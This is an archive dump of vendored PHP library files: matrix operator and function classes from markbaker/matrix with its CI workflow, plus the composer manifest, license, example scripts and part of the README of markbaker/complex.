namespace Matrix; class Div0Exception extends Exception { } markbaker/matrix/classes/src/Operators/DirectSum.php000064400000003577151676714400016650 0ustar00<?php namespace Matrix\Operators; use Matrix\Matrix; use Matrix\Exception; class DirectSum extends Operator { /** * Execute the addition * * @param mixed $value The matrix or numeric value to add to the current base value * @return $this The operation object, allowing multiple additions to be chained * @throws Exception If the provided argument is not appropriate for the operation */ public function execute($value): Operator { if (is_array($value)) { $value = new Matrix($value); } if ($value instanceof Matrix) { return $this->directSumMatrix($value); } throw new Exception('Invalid argument for addition'); } /** * Execute the direct sum for a matrix * * @param Matrix $value The numeric value to concatenate/direct sum with the current base value * @return $this The operation object, allowing multiple additions to be chained **/ private function directSumMatrix($value): Operator { $originalColumnCount = count($this->matrix[0]); $originalRowCount = count($this->matrix); $valColumnCount = $value->columns; $valRowCount = $value->rows; $value = $value->toArray(); for ($row = 0; $row < $this->rows; ++$row) { $this->matrix[$row] = array_merge($this->matrix[$row], array_fill(0, $valColumnCount, 0)); } $this->matrix = array_merge( $this->matrix, array_fill(0, $valRowCount, array_fill(0, $originalColumnCount, 0)) ); for ($row = $originalRowCount; $row < $originalRowCount + $valRowCount; ++$row) { array_splice( $this->matrix[$row], $originalColumnCount, $valColumnCount, $value[$row - $originalRowCount] ); } return $this; } } markbaker/matrix/classes/src/Operators/Subtraction.php000064400000004100151676714400017225 0ustar00<?php namespace Matrix\Operators; use Matrix\Matrix; use Matrix\Exception; class Subtraction extends Operator { /** * Execute the subtraction * * @param mixed $value The matrix or numeric value to subtract from the current base value * @throws Exception If the provided argument is not appropriate for the operation * @return $this The operation object, allowing multiple subtractions to be chained **/ public function execute($value): Operator { if (is_array($value)) { $value = new Matrix($value); } if (is_object($value) && ($value instanceof Matrix)) { return $this->subtractMatrix($value); } elseif (is_numeric($value)) { return $this->subtractScalar($value); } throw new Exception('Invalid argument for subtraction'); } /** * Execute the subtraction for a scalar * * @param mixed $value The numeric value to subtracted from the current base value * @return $this The operation object, allowing multiple additions to be chained **/ protected function subtractScalar($value): Operator { for ($row = 0; $row < $this->rows; ++$row) { for ($column = 0; $column < $this->columns; ++$column) { $this->matrix[$row][$column] -= $value; } } return $this; } /** * Execute the subtraction for a matrix * * @param Matrix $value The numeric value to subtract from the current base value * @return $this The operation object, allowing multiple subtractions to be chained * @throws Exception If the provided argument is not appropriate for the operation **/ protected function subtractMatrix(Matrix $value): Operator { $this->validateMatchingDimensions($value); for ($row = 0; $row < $this->rows; ++$row) { for ($column = 0; $column < $this->columns; ++$column) { $this->matrix[$row][$column] -= $value->getValue($row + 1, $column + 1); } } return $this; } } markbaker/matrix/classes/src/Operators/Operator.php000064400000003721151676714400016533 0ustar00<?php namespace Matrix\Operators; use Matrix\Matrix; use Matrix\Exception; abstract class Operator { /** * Stored internally as a 2-dimension array of values * * @property mixed[][] $matrix **/ protected $matrix; /** * Number of rows in the matrix * * @property integer $rows **/ protected $rows; /** * Number of columns in the matrix * * @property integer $columns **/ protected $columns; /** * Create an new handler object for the operation * * @param Matrix $matrix The base Matrix object on which the operation will be performed */ public function __construct(Matrix $matrix) { $this->rows = $matrix->rows; $this->columns = $matrix->columns; $this->matrix = $matrix->toArray(); } /** * Compare the dimensions of the matrices being operated on to see if they are valid for addition/subtraction * * @param Matrix $matrix The second Matrix object on which the operation will be performed * @throws Exception */ protected function validateMatchingDimensions(Matrix $matrix): void { if (($this->rows != $matrix->rows) || ($this->columns != $matrix->columns)) { throw new Exception('Matrices have mismatched dimensions'); } } /** * Compare the dimensions of the matrices being operated on to see if they are valid for multiplication/division * * @param Matrix $matrix The second Matrix object on which the operation will be performed * @throws Exception */ protected function validateReflectingDimensions(Matrix $matrix): void { if ($this->columns != $matrix->rows) { throw new Exception('Matrices have mismatched dimensions'); } } /** * Return the result of the operation * * @return Matrix */ public function result(): Matrix { return new Matrix($this->matrix); } } markbaker/matrix/classes/src/Operators/Division.php000064400000001755151676714400016531 0ustar00<?php namespace Matrix\Operators; use Matrix\Div0Exception; use Matrix\Exception; use \Matrix\Matrix; use \Matrix\Functions; class Division extends Multiplication { /** * Execute the division * * @param mixed $value The matrix or numeric value to divide the current base value by * @throws Exception If the provided argument is not appropriate for the operation * @return $this The operation object, allowing multiple divisions to be chained **/ public function execute($value, string $type = 'division'): Operator { if (is_array($value)) { $value = new Matrix($value); } if (is_object($value) && ($value instanceof Matrix)) { $value = Functions::inverse($value, $type); return $this->multiplyMatrix($value, $type); } elseif (is_numeric($value)) { return $this->multiplyScalar(1 / $value, $type); } throw new Exception('Invalid argument for division'); } } markbaker/matrix/classes/src/Operators/Multiplication.php000064400000005544151676714400017742 0ustar00<?php namespace Matrix\Operators; use Matrix\Matrix; use \Matrix\Builder; use Matrix\Exception; use Throwable; class Multiplication extends Operator { /** * Execute the multiplication * * @param mixed $value The matrix or numeric value to multiply the current base value by * @throws Exception If the provided argument is not appropriate for the operation * @return $this The operation object, allowing multiple multiplications to be chained **/ public function execute($value, string $type = 'multiplication'): Operator { if (is_array($value)) { $value = new Matrix($value); } if (is_object($value) && ($value instanceof Matrix)) { return $this->multiplyMatrix($value, $type); } elseif (is_numeric($value)) { return $this->multiplyScalar($value, $type); } throw new Exception("Invalid argument for $type"); } /** * Execute the multiplication for a scalar * * @param mixed $value The numeric value to multiply with the current base value * @return $this The operation object, allowing multiple mutiplications to be chained **/ protected function multiplyScalar($value, string $type = 'multiplication'): Operator { try { for ($row = 0; $row < $this->rows; ++$row) { for ($column = 0; $column < $this->columns; ++$column) { $this->matrix[$row][$column] *= $value; } } } catch (Throwable $e) { throw new Exception("Invalid argument for $type"); } return $this; } /** * Execute the multiplication for a matrix * * @param Matrix $value The numeric value to multiply with the current base value * @return $this The operation object, allowing multiple mutiplications to be chained * @throws Exception If the provided argument is not appropriate for the operation **/ protected function multiplyMatrix(Matrix $value, string $type = 'multiplication'): Operator { $this->validateReflectingDimensions($value); $newRows = $this->rows; $newColumns = $value->columns; $matrix = Builder::createFilledMatrix(0, $newRows, $newColumns) ->toArray(); try { for ($row = 0; $row < $newRows; ++$row) { for ($column = 0; $column < $newColumns; ++$column) { $columnData = $value->getColumns($column + 1)->toArray(); foreach ($this->matrix[$row] as $key => $valueData) { $matrix[$row][$column] += $valueData * $columnData[$key][0]; } } } } catch (Throwable $e) { throw new Exception("Invalid argument for $type"); } $this->matrix = $matrix; return $this; } } markbaker/matrix/classes/src/Operators/Addition.php000064400000004000151676714400016462 0ustar00<?php namespace Matrix\Operators; use Matrix\Matrix; use Matrix\Exception; class Addition extends Operator { /** * Execute the addition * * @param mixed $value The matrix or numeric value to add to the current base value * @throws Exception If the provided argument is not appropriate for the operation * @return $this The operation object, allowing multiple additions to be chained **/ public function execute($value): Operator { if (is_array($value)) { $value = new Matrix($value); } if (is_object($value) && ($value instanceof Matrix)) { return $this->addMatrix($value); } elseif (is_numeric($value)) { return $this->addScalar($value); } throw new Exception('Invalid argument for addition'); } /** * Execute the addition for a scalar * * @param mixed $value The numeric value to add to the current base value * @return $this The operation object, allowing multiple additions to be chained **/ protected function addScalar($value): Operator { for ($row = 0; $row < $this->rows; ++$row) { for ($column = 0; $column < $this->columns; ++$column) { $this->matrix[$row][$column] += $value; } } return $this; } /** * Execute the addition for a matrix * * @param Matrix $value The numeric value to add to the current base value * @return $this The operation object, allowing multiple additions to be chained * @throws Exception If the provided argument is not appropriate for the operation **/ protected function addMatrix(Matrix $value): Operator { $this->validateMatchingDimensions($value); for ($row = 0; $row < $this->rows; ++$row) { for ($column = 0; $column < $this->columns; ++$column) { $this->matrix[$row][$column] += $value->getValue($row + 1, $column + 1); } } return $this; } } markbaker/matrix/classes/src/Exception.php000064400000000357151676714400014722 0ustar00<?php /** * Exception. * * @copyright Copyright (c) 2013-2018 Mark Baker (https://github.com/MarkBaker/PHPMatrix) * @license https://opensource.org/licenses/MIT MIT */ namespace Matrix; class Exception extends \Exception { } markbaker/matrix/classes/src/Builder.php000064400000003260151676714400014346 0ustar00<?php /** * * Class for the creating "special" Matrices * * @copyright Copyright (c) 2018 Mark Baker (https://github.com/MarkBaker/PHPMatrix) * @license https://opensource.org/licenses/MIT MIT */ namespace Matrix; /** * Matrix Builder class. * * @package Matrix */ class Builder { /** * Create a new matrix of specified dimensions, and filled with a specified value * If the column argument isn't provided, then a square matrix will be created * * @param mixed $fillValue * @param int $rows * @param int|null $columns * @return Matrix * @throws Exception */ public static function createFilledMatrix($fillValue, $rows, $columns = null) { if ($columns === null) { $columns = $rows; } $rows = Matrix::validateRow($rows); $columns = Matrix::validateColumn($columns); return new Matrix( array_fill( 0, $rows, array_fill( 0, $columns, $fillValue ) ) ); } /** * Create a new identity matrix of specified dimensions * This will always be a square matrix, with the number of rows and columns matching the provided dimension * * @param int $dimensions * @return Matrix * @throws Exception */ public static function createIdentityMatrix($dimensions, $fillValue = null) { $grid = static::createFilledMatrix($fillValue, $dimensions)->toArray(); for ($x = 0; $x < $dimensions; ++$x) { $grid[$x][$x] = 1; } return new Matrix($grid); } } markbaker/matrix/classes/src/Functions.php000064400000025222151676714400014732 0ustar00<?php namespace Matrix; class Functions { /** * Validates an array of matrix, converting an array to a matrix if required. * * @param Matrix|array $matrix Matrix or an array to treat as a matrix. * @return Matrix The new matrix * @throws Exception If argument isn't a valid matrix or array. */ private static function validateMatrix($matrix) { if (is_array($matrix)) { $matrix = new Matrix($matrix); } if (!$matrix instanceof Matrix) { throw new Exception('Must be Matrix or array'); } return $matrix; } /** * Calculate the adjoint of the matrix * * @param Matrix $matrix The matrix whose adjoint we wish to calculate * @return Matrix * * @throws Exception */ private static function getAdjoint(Matrix $matrix) { return self::transpose( self::getCofactors($matrix) ); } /** * Return the adjoint of this matrix * The adjugate, classical adjoint, or adjunct of a square matrix is the transpose of its cofactor matrix. * The adjugate has sometimes been called the "adjoint", but today the "adjoint" of a matrix normally refers * to its corresponding adjoint operator, which is its conjugate transpose. * * @param Matrix|array $matrix The matrix whose adjoint we wish to calculate * @return Matrix * @throws Exception **/ public static function adjoint($matrix) { $matrix = self::validateMatrix($matrix); if (!$matrix->isSquare()) { throw new Exception('Adjoint can only be calculated for a square matrix'); } return self::getAdjoint($matrix); } /** * Calculate the cofactors of the matrix * * @param Matrix $matrix The matrix whose cofactors we wish to calculate * @return Matrix * * @throws Exception */ private static function getCofactors(Matrix $matrix) { $cofactors = self::getMinors($matrix); $dimensions = $matrix->rows; $cof = 1; for ($i = 0; $i < $dimensions; ++$i) { $cofs = $cof; for ($j = 0; $j < $dimensions; ++$j) { $cofactors[$i][$j] *= $cofs; $cofs = -$cofs; } $cof = -$cof; } return new Matrix($cofactors); } /** * Return the cofactors of this matrix * * @param Matrix|array $matrix The matrix whose cofactors we wish to calculate * @return Matrix * * @throws Exception */ public static function cofactors($matrix) { $matrix = self::validateMatrix($matrix); if (!$matrix->isSquare()) { throw new Exception('Cofactors can only be calculated for a square matrix'); } return self::getCofactors($matrix); } /** * @param Matrix $matrix * @param int $row * @param int $column * @return float * @throws Exception */ private static function getDeterminantSegment(Matrix $matrix, $row, $column) { $tmpMatrix = $matrix->toArray(); unset($tmpMatrix[$row]); array_walk( $tmpMatrix, function (&$row) use ($column) { unset($row[$column]); } ); return self::getDeterminant(new Matrix($tmpMatrix)); } /** * Calculate the determinant of the matrix * * @param Matrix $matrix The matrix whose determinant we wish to calculate * @return float * * @throws Exception */ private static function getDeterminant(Matrix $matrix) { $dimensions = $matrix->rows; $determinant = 0; switch ($dimensions) { case 1: $determinant = $matrix->getValue(1, 1); break; case 2: $determinant = $matrix->getValue(1, 1) * $matrix->getValue(2, 2) - $matrix->getValue(1, 2) * $matrix->getValue(2, 1); break; default: for ($i = 1; $i <= $dimensions; ++$i) { $det = $matrix->getValue(1, $i) * self::getDeterminantSegment($matrix, 0, $i - 1); if (($i % 2) == 0) { $determinant -= $det; } else { $determinant += $det; } } break; } return $determinant; } /** * Return the determinant of this matrix * * @param Matrix|array $matrix The matrix whose determinant we wish to calculate * @return float * @throws Exception **/ public static function determinant($matrix) { $matrix = self::validateMatrix($matrix); if (!$matrix->isSquare()) { throw new Exception('Determinant can only be calculated for a square matrix'); } return self::getDeterminant($matrix); } /** * Return the diagonal of this matrix * * @param Matrix|array $matrix The matrix whose diagonal we wish to calculate * @return Matrix * @throws Exception **/ public static function diagonal($matrix) { $matrix = self::validateMatrix($matrix); if (!$matrix->isSquare()) { throw new Exception('Diagonal can only be extracted from a square matrix'); } $dimensions = $matrix->rows; $grid = Builder::createFilledMatrix(0, $dimensions, $dimensions) ->toArray(); for ($i = 0; $i < $dimensions; ++$i) { $grid[$i][$i] = $matrix->getValue($i + 1, $i + 1); } return new Matrix($grid); } /** * Return the antidiagonal of this matrix * * @param Matrix|array $matrix The matrix whose antidiagonal we wish to calculate * @return Matrix * @throws Exception **/ public static function antidiagonal($matrix) { $matrix = self::validateMatrix($matrix); if (!$matrix->isSquare()) { throw new Exception('Anti-Diagonal can only be extracted from a square matrix'); } $dimensions = $matrix->rows; $grid = Builder::createFilledMatrix(0, $dimensions, $dimensions) ->toArray(); for ($i = 0; $i < $dimensions; ++$i) { $grid[$i][$dimensions - $i - 1] = $matrix->getValue($i + 1, $dimensions - $i); } return new Matrix($grid); } /** * Return the identity matrix * The identity matrix, or sometimes ambiguously called a unit matrix, of size n is the n × n square matrix * with ones on the main diagonal and zeros elsewhere * * @param Matrix|array $matrix The matrix whose identity we wish to calculate * @return Matrix * @throws Exception **/ public static function identity($matrix) { $matrix = self::validateMatrix($matrix); if (!$matrix->isSquare()) { throw new Exception('Identity can only be created for a square matrix'); } $dimensions = $matrix->rows; return Builder::createIdentityMatrix($dimensions); } /** * Return the inverse of this matrix * * @param Matrix|array $matrix The matrix whose inverse we wish to calculate * @return Matrix * @throws Exception **/ public static function inverse($matrix, string $type = 'inverse') { $matrix = self::validateMatrix($matrix); if (!$matrix->isSquare()) { throw new Exception(ucfirst($type) . ' can only be calculated for a square matrix'); } $determinant = self::getDeterminant($matrix); if ($determinant == 0.0) { throw new Div0Exception(ucfirst($type) . ' can only be calculated for a matrix with a non-zero determinant'); } if ($matrix->rows == 1) { return new Matrix([[1 / $matrix->getValue(1, 1)]]); } return self::getAdjoint($matrix) ->multiply(1 / $determinant); } /** * Calculate the minors of the matrix * * @param Matrix $matrix The matrix whose minors we wish to calculate * @return array[] * * @throws Exception */ protected static function getMinors(Matrix $matrix) { $minors = $matrix->toArray(); $dimensions = $matrix->rows; if ($dimensions == 1) { return $minors; } for ($i = 0; $i < $dimensions; ++$i) { for ($j = 0; $j < $dimensions; ++$j) { $minors[$i][$j] = self::getDeterminantSegment($matrix, $i, $j); } } return $minors; } /** * Return the minors of the matrix * The minor of a matrix A is the determinant of some smaller square matrix, cut down from A by removing one or * more of its rows or columns. * Minors obtained by removing just one row and one column from square matrices (first minors) are required for * calculating matrix cofactors, which in turn are useful for computing both the determinant and inverse of * square matrices. * * @param Matrix|array $matrix The matrix whose minors we wish to calculate * @return Matrix * @throws Exception **/ public static function minors($matrix) { $matrix = self::validateMatrix($matrix); if (!$matrix->isSquare()) { throw new Exception('Minors can only be calculated for a square matrix'); } return new Matrix(self::getMinors($matrix)); } /** * Return the trace of this matrix * The trace is defined as the sum of the elements on the main diagonal (the diagonal from the upper left to the lower right) * of the matrix * * @param Matrix|array $matrix The matrix whose trace we wish to calculate * @return float * @throws Exception **/ public static function trace($matrix) { $matrix = self::validateMatrix($matrix); if (!$matrix->isSquare()) { throw new Exception('Trace can only be extracted from a square matrix'); } $dimensions = $matrix->rows; $result = 0; for ($i = 1; $i <= $dimensions; ++$i) { $result += $matrix->getValue($i, $i); } return $result; } /** * Return the transpose of this matrix * * @param Matrix|\a $matrix The matrix whose transpose we wish to calculate * @return Matrix **/ public static function transpose($matrix) { $matrix = self::validateMatrix($matrix); $array = array_values(array_merge([null], $matrix->toArray())); $grid = call_user_func_array( 'array_map', $array ); return new Matrix($grid); } } markbaker/matrix/classes/src/Operations.php000064400000010116151676714400015101 0ustar00<?php namespace Matrix; use Matrix\Operators\Addition; use Matrix\Operators\DirectSum; use Matrix\Operators\Division; use Matrix\Operators\Multiplication; use Matrix\Operators\Subtraction; class Operations { public static function add(...$matrixValues): Matrix { if (count($matrixValues) < 2) { throw new Exception('Addition operation requires at least 2 arguments'); } $matrix = array_shift($matrixValues); if (is_array($matrix)) { $matrix = new Matrix($matrix); } if (!$matrix instanceof Matrix) { throw new Exception('Addition arguments must be Matrix or array'); } $result = new Addition($matrix); foreach ($matrixValues as $matrix) { $result->execute($matrix); } return $result->result(); } public static function directsum(...$matrixValues): Matrix { if (count($matrixValues) < 2) { throw new Exception('DirectSum operation requires at least 2 arguments'); } $matrix = array_shift($matrixValues); if (is_array($matrix)) { $matrix = new Matrix($matrix); } if (!$matrix instanceof Matrix) { throw new Exception('DirectSum arguments must be Matrix or array'); } $result = new DirectSum($matrix); foreach ($matrixValues as $matrix) { $result->execute($matrix); } return $result->result(); } public static function divideby(...$matrixValues): Matrix { if (count($matrixValues) < 2) { throw new Exception('Division operation requires at least 2 arguments'); } $matrix = array_shift($matrixValues); if (is_array($matrix)) { $matrix = new Matrix($matrix); } if (!$matrix instanceof Matrix) { throw new Exception('Division arguments must be Matrix or array'); } $result = new Division($matrix); foreach ($matrixValues as $matrix) { $result->execute($matrix); } return $result->result(); } public static function divideinto(...$matrixValues): Matrix { if (count($matrixValues) < 2) { throw new Exception('Division operation requires at least 2 arguments'); } $matrix = array_pop($matrixValues); $matrixValues = array_reverse($matrixValues); if (is_array($matrix)) { $matrix = new Matrix($matrix); } if (!$matrix instanceof Matrix) { throw new Exception('Division arguments must be Matrix or array'); } $result = new Division($matrix); foreach ($matrixValues as $matrix) { $result->execute($matrix); } return $result->result(); } public static function multiply(...$matrixValues): Matrix { if (count($matrixValues) < 2) { throw new Exception('Multiplication operation requires at least 2 arguments'); } $matrix = array_shift($matrixValues); if (is_array($matrix)) { $matrix = new Matrix($matrix); } if (!$matrix instanceof Matrix) { throw new Exception('Multiplication arguments must be Matrix or array'); } $result = new Multiplication($matrix); foreach ($matrixValues as $matrix) { $result->execute($matrix); } return $result->result(); } public static function subtract(...$matrixValues): Matrix { if (count($matrixValues) < 2) { throw new Exception('Subtraction operation requires at least 2 arguments'); } $matrix = array_shift($matrixValues); if (is_array($matrix)) { $matrix = new Matrix($matrix); } if (!$matrix instanceof Matrix) { throw new Exception('Subtraction arguments must be Matrix or array'); } $result = new Subtraction($matrix); foreach ($matrixValues as $matrix) { $result->execute($matrix); } return $result->result(); } } markbaker/matrix/.github/workflows/main.yaml000064400000007730151676714400015236 0ustar00name: main on: [ push, pull_request ] jobs: test: runs-on: ubuntu-latest strategy: matrix: php-version: - '7.1' - '7.2' - '7.3' - '7.4' - '8.0' - '8.1' - '8.2' include: - php-version: 'nightly' experimental: true name: PHP ${{ matrix.php-version }} steps: - name: Checkout uses: actions/checkout@v3 - name: Setup PHP, with composer and extensions uses: shivammathur/setup-php@v2 with: php-version: ${{ matrix.php-version }} extensions: ctype, dom, gd, iconv, fileinfo, libxml, mbstring, simplexml, xml, xmlreader, xmlwriter, zip, zlib coverage: none - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v3 with: path: ${{ steps.composer-cache.outputs.dir }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ${{ runner.os }}-composer- - name: Delete composer lock file id: composer-lock if: ${{ matrix.php-version == '8.0' || matrix.php-version == '8.1' || matrix.php-version == '8.2' || matrix.php-version == 'nightly' }} run: | rm composer.lock echo "::set-output name=flags::--ignore-platform-reqs" - name: Install dependencies run: composer update --no-progress --prefer-dist --optimize-autoloader ${{ steps.composer-lock.outputs.flags }} - name: Setup problem matchers for PHP run: echo "::add-matcher::${{ runner.tool_cache }}/php.json" - name: Setup problem matchers for PHPUnit run: echo "::add-matcher::${{ runner.tool_cache }}/phpunit.json" - name: Test with PHPUnit run: ./vendor/bin/phpunit phpcs: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v3 - name: Setup PHP, with composer and extensions uses: shivammathur/setup-php@v2 with: php-version: 7.4 extensions: ctype, dom, gd, iconv, fileinfo, libxml, mbstring, simplexml, xml, xmlreader, xmlwriter, zip, zlib coverage: none tools: cs2pr - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v3 with: path: ${{ steps.composer-cache.outputs.dir }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ${{ runner.os }}-composer- - name: Install dependencies run: composer install --no-progress --prefer-dist --optimize-autoloader - name: Code style with PHP_CodeSniffer run: ./vendor/bin/phpcs -q --report=checkstyle | cs2pr --graceful-warnings --colorize coverage: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v3 - name: Setup PHP, with composer and extensions uses: shivammathur/setup-php@v2 with: php-version: 7.4 extensions: ctype, dom, gd, iconv, fileinfo, libxml, mbstring, simplexml, xml, xmlreader, xmlwriter, zip, zlib coverage: pcov - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v3 with: path: ${{ steps.composer-cache.outputs.dir }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ${{ runner.os }}-composer- - name: Install dependencies run: composer install --no-progress --prefer-dist --optimize-autoloader - name: Coverage run: | ./vendor/bin/phpunit --coverage-text markbaker/complex/composer.json000064400000002410151676714400012704 0ustar00{ "name": "markbaker/complex", "type": "library", "description": "PHP Class for working with complex numbers", "keywords": ["complex", "mathematics"], "homepage": "https://github.com/MarkBaker/PHPComplex", "license": "MIT", "authors": [ { "name": "Mark Baker", "email": "mark@lange.demon.co.uk" } ], "config": { "sort-packages": true, "allow-plugins": { "dealerdirect/phpcodesniffer-composer-installer": true, "markbaker/ukraine": true } }, "require": { "php": "^7.2 || ^8.0" }, "require-dev": { "phpunit/phpunit": "^7.0 || ^8.0 || ^9.0", "squizlabs/php_codesniffer": "^3.7", "phpcompatibility/php-compatibility": "^9.3", "dealerdirect/phpcodesniffer-composer-installer": "dev-master" }, "autoload": { "psr-4": { "Complex\\": "classes/src/" } }, "scripts": { "style": "phpcs --report-width=200 --standard=PSR2 --report=summary,full classes/src/ unitTests/classes/src -n", "versions": "phpcs --report-width=200 --standard=PHPCompatibility --report=summary,full classes/src/ --runtime-set testVersion 7.2- -n" }, "minimum-stability": "dev" } markbaker/complex/license.md000064400000002125151676714400012131 0ustar00The MIT License (MIT) ===================== Copyright © `2017` `Mark Baker` Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.markbaker/complex/examples/testOperations.php000064400000001131151676714400015533 0ustar00<?php use Complex\Complex as Complex; use Complex\Operations; include(__DIR__ . '/../vendor/autoload.php'); $values = [ new Complex(123), new Complex(456, 123), new Complex(0.0, 456), ]; foreach ($values as $value) { echo $value, PHP_EOL; } echo 'Addition', PHP_EOL; $result = Operations::add(...$values); echo '=> ', $result, PHP_EOL; echo PHP_EOL; echo 'Subtraction', PHP_EOL; $result = Operations::subtract(...$values); echo '=> ', $result, PHP_EOL; echo PHP_EOL; echo 'Multiplication', PHP_EOL; $result = Operations::multiply(...$values); echo '=> ', $result, PHP_EOL; markbaker/complex/examples/testFunctions.php000064400000002027151676714400015365 0ustar00<?php namespace Complex; include(__DIR__ . '/../vendor/autoload.php'); echo 'Function Examples', PHP_EOL; $functions = array( 'abs', 'acos', 'acosh', 'acsc', 'acsch', 'argument', 'asec', 'asech', 'asin', 'asinh', 'conjugate', 'cos', 'cosh', 'csc', 'csch', 'exp', 'inverse', 'ln', 'log2', 'log10', 'rho', 'sec', 'sech', 'sin', 'sinh', 'sqrt', 'theta' ); for ($real = -3.5; $real <= 3.5; $real += 0.5) { for ($imaginary = -3.5; $imaginary <= 3.5; $imaginary += 0.5) { foreach ($functions as $function) { $complexFunction = __NAMESPACE__ . '\\Functions::' . $function; $complex = new Complex($real, $imaginary); try { echo $function, '(', $complex, ') = ', $complexFunction($complex), PHP_EOL; } catch (\Exception $e) { echo $function, '(', $complex, ') ERROR: ', $e->getMessage(), PHP_EOL; } } echo PHP_EOL; } } markbaker/complex/examples/complexTest.php000064400000005474151676714400015035 0ustar00<?php use Complex\Complex as Complex; include(__DIR__ . '/../vendor/autoload.php'); echo 'Create', PHP_EOL; $x = new Complex(123); echo $x, PHP_EOL; $x = new Complex(123, 456); echo $x, PHP_EOL; $x = new Complex(array(123,456,'j')); echo $x, PHP_EOL; $x = new Complex('1.23e-4--2.34e-5i'); echo $x, PHP_EOL; echo PHP_EOL, 'Add', PHP_EOL; $x = new Complex(123); $x->add(456); echo $x, PHP_EOL; $x = new Complex(123.456); $x->add(789.012); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->add(new Complex(-987.654, -32.1)); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->add(-987.654); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->add(new Complex(0, 1)); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->add(new Complex(0, -1)); echo $x, PHP_EOL; echo PHP_EOL, 'Subtract', PHP_EOL; $x = new Complex(123); $x->subtract(456); echo $x, PHP_EOL; $x = new Complex(123.456); $x->subtract(789.012); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->subtract(new Complex(-987.654, -32.1)); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->subtract(-987.654); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->subtract(new Complex(0, 1)); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->subtract(new Complex(0, -1)); echo $x, PHP_EOL; echo PHP_EOL, 'Multiply', PHP_EOL; $x = new Complex(123); $x->multiply(456); echo $x, PHP_EOL; $x = new Complex(123.456); $x->multiply(789.012); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->multiply(new Complex(-987.654, -32.1)); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->multiply(-987.654); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->multiply(new Complex(0, 1)); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->multiply(new Complex(0, -1)); echo $x, PHP_EOL; echo PHP_EOL, 'Divide By', PHP_EOL; $x = new Complex(123); $x->divideBy(456); echo $x, PHP_EOL; $x = new Complex(123.456); $x->divideBy(789.012); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->divideBy(new Complex(-987.654, -32.1)); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->divideBy(-987.654); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->divideBy(new Complex(0, 1)); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->divideBy(new Complex(0, -1)); echo $x, PHP_EOL; echo PHP_EOL, 'Divide Into', PHP_EOL; $x = new Complex(123); $x->divideInto(456); echo $x, PHP_EOL; $x = new Complex(123.456); $x->divideInto(789.012); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->divideInto(new Complex(-987.654, -32.1)); echo $x, PHP_EOL; $x = new Complex(123.456, 78.90); $x->divideInto(-987.654); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->divideInto(new Complex(0, 1)); echo $x, PHP_EOL; $x = new Complex(-987.654, -32.1); $x->divideInto(new Complex(0, -1)); echo $x, PHP_EOL; markbaker/complex/README.md000064400000012651151676714400011451 0ustar00PHPComplex ========== --- PHP Class Library for working with Complex numbers [](https://github.com/MarkBaker/PHPComplex/actions) [](https://packagist.org/packages/markbaker/complex) [](https://packagist.org/packages/markbaker/complex) [](https://packagist.org/packages/markbaker/complex) [](https://xkcd.com/2028/) --- The library currently provides the following operations: - addition - subtraction - multiplication - division - division by - division into together with functions for - theta (polar theta angle) - rho (polar distance/radius) - conjugate * negative - inverse (1 / complex) - cos (cosine) - acos (inverse cosine) - cosh (hyperbolic cosine) - acosh (inverse hyperbolic cosine) - sin (sine) - asin (inverse sine) - sinh (hyperbolic sine) - asinh (inverse hyperbolic sine) - sec (secant) - asec (inverse secant) - sech (hyperbolic secant) - asech (inverse hyperbolic secant) - csc (cosecant) - acsc (inverse cosecant) - csch (hyperbolic secant) - acsch (inverse hyperbolic secant) - tan (tangent) - atan (inverse tangent) - tanh (hyperbolic tangent) - atanh (inverse hyperbolic tangent) - cot (cotangent) - acot (inverse cotangent) - coth (hyperbolic cotangent) - acoth (inverse hyperbolic cotangent) - sqrt (square root) - exp (exponential) - ln (natural log) - log10 (base-10 log) - log2 (base-2 log) - pow (raised to the power of a real number) --- # Installation ```shell composer require markbaker/complex:^1.0 ``` # Important BC Note If you've previously been using procedural calls to functions and operations using this library, then from version 3.0 you should 